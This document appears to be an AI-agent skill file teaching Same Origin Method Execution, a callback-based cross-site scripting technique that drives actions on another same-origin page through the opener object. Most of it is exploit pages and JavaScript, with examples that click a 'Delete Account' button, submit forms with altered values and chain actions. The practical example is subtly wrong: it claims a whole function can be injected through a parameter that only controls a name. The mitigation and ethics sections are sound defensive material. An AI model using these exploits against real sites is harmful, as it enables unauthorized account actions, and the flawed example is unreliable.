abelrguezr Same Origin Method Execution (SAME) Exploitation
What is SAME?
Same Origin Method Execution (SAME) is an advanced XSS technique that allows you to abuse limited JavaScript execution in one page to trigger actions in another page from the same domain. This is particularly useful when:
- You can control a callback value that gets executed (e.g.,
opener.{callback}) - The vulnerable endpoint has minimal DOM with no interesting actions
- You need to access sensitive functionality on a different page from the same origin
When to Use This Skill
Use this skill when you encounter:
- Callback parameters that get executed as JavaScript (e.g.,
?callback=userAction) - Limited JS injection where you can't execute arbitrary code but can control function names
- Same-origin pages where one has interesting DOM (buttons, forms) and another has a vulnerability
- Web pentesting scenarios involving JavaScript execution contexts
- CTF challenges or security assessments with callback-based vulnerabilities
Attack Flow
The SAME attack works by leveraging the opener object to bridge two same-origin pages:
1. Attacker controls a page (attacker.com or same-origin page)
2. Victim opens attacker's page
3. Attacker's page opens itself in a new window (creates opener reference)
4. Initial page loads the target page with interesting DOM
5. Second page loads the vulnerable endpoint with callback
6. Vulnerable page uses opener object to execute actions on the initial page
Key Insight
Even if the initial page navigates to a new URL after creating the second page, the opener object remains a valid reference to the first page's DOM. This is the core mechanism that makes SAME possible.
Prerequisites
- Same origin requirement: Both pages must be on the same domain
- Limited JS execution: You need some form of JavaScript control (callback, function name, etc.)
- Interesting DOM: A page with actionable elements (buttons, forms, links) to target
Exploitation Methodology
Step 1: Identify the Vulnerable Callback
Look for parameters that get executed as JavaScript:
// Vulnerable pattern
<script>opener.{callback_parameter}</script>
// Or
<script>{user_controlled_function}()</script>
Common indicators:
- Callback parameters in URLs
- JSONP endpoints
- Dynamic script generation based on user input
- Function name injection points
Step 2: Find Interesting DOM Elements
Identify pages with sensitive actions:
- Submit buttons on forms
- Delete/modify action buttons
- Navigation links to sensitive areas
- API call triggers
- Any clickable elements that perform actions
Tool: Use the SOME Targeting Tool browser extension to find DOM paths to clickable elements.
Step 3: Craft the Exploit
The exploit requires two pages working together:
Page 1 (Attacker's page or initial page):
<script>
// Open the vulnerable page in a new window
var newWindow = window.open('vulnerable-endpoint?callback=stealData');
// Navigate to the page with interesting DOM
window.location = 'page-with-sensitive-actions';
</script>
Page 2 (Vulnerable page with callback):
// Server generates: <script>opener.{callback}</script>
// Your callback should access the opener's DOM
function stealData() {
// Access the opener's DOM (the page with interesting elements)
var submitBtn = opener.document.querySelector('#submit-form');
if (submitBtn) {
submitBtn.click();
}
// Or navigate the opener
opener.location = 'sensitive-page';
}
Step 4: Generate PoC
Use the SOME Generator to create a proof-of-concept exploit for your specific scenario.
Practical Example
Scenario
You find a vulnerable endpoint at https://target.com/callback?func=USER_INPUT that executes:
<script>opener.{func}</script>
The page at https://target.com/admin has a "Delete Account" button you want to trigger.
Exploit
- Create attacker page (or use a same-origin page):
<html>
<body>
<script>
// Open the vulnerable callback endpoint
var vulnWindow = window.open('https://target.com/callback?func=deleteAccount');
// Navigate to the admin page with the button
window.location = 'https://target.com/admin';
</script>
</body>
</html>
- Define the callback function (injected via the func parameter):
function deleteAccount() {
// Access the opener's DOM (now showing the admin page)
var deleteBtn = opener.document.querySelector('.delete-account-btn');
if (deleteBtn) {
deleteBtn.click();
}
}
- Final exploit URL:
https://target.com/callback?func=deleteAccount
Where deleteAccount is defined to access opener.document and trigger the action.
Advanced Techniques
Chaining Multiple Actions
function chainActions() {
// Click multiple buttons in sequence
opener.document.querySelector('#action1').click();
setTimeout(function() {
opener.document.querySelector('#action2').click();
}, 1000);
}
Form Submission
function submitForm() {
var form = opener.document.querySelector('#sensitive-form');
if (form) {
// Modify form values if needed
form.querySelector('#secret-field').value = 'malicious-value';
form.submit();
}
}
Navigation Attacks
function navigateToSensitive() {
opener.location = 'https://target.com/admin/settings';
}
Detection and Testing
Signs of SAME Vulnerability
- Callback parameters that execute JavaScript
- Dynamic script generation from user input
- JSONP endpoints without proper origin validation
- Function name injection in script tags
Testing Checklist
- Identify all callback/function parameters
- Test if they execute in the context of
opener - Map all same-origin pages with interesting DOM
- Verify the
openerobject is accessible - Test with the SOME Generator tool
Mitigation
For Developers
- Never execute user-controlled code:
// BAD
<script>opener.{userInput}</script>
// GOOD
<script>handleCallback('{userInput}')</script>
- Validate callback parameters:
// Whitelist allowed callbacks
var allowedCallbacks = ['validCallback1', 'validCallback2'];
if (allowedCallbacks.includes(userInput)) {
// Safe to execute
}
- Use Content Security Policy:
Content-Security-Policy: script-src 'self'
- Set
rel="noopener"on links:
<a href="url" rel="noopener">Link</a>
Tools and Resources
- SOME Generator - PoC generation
- SOME Targeting Tool - DOM path finder
- SOME Conference Presentation - Original research
- CTF Writeup Example - Practical exploitation
Safety and Ethics
⚠️ Important: Only use SAME exploitation techniques on systems you have explicit authorization to test. Unauthorized exploitation of web vulnerabilities is illegal and unethical.
- Always obtain written permission before testing
- Document findings responsibly
- Report vulnerabilities through proper channels
- Never exploit vulnerabilities for malicious purposes
Related Skills
- XSS exploitation techniques
- DOM-based vulnerability analysis
- JavaScript security testing
- Web application penetration testing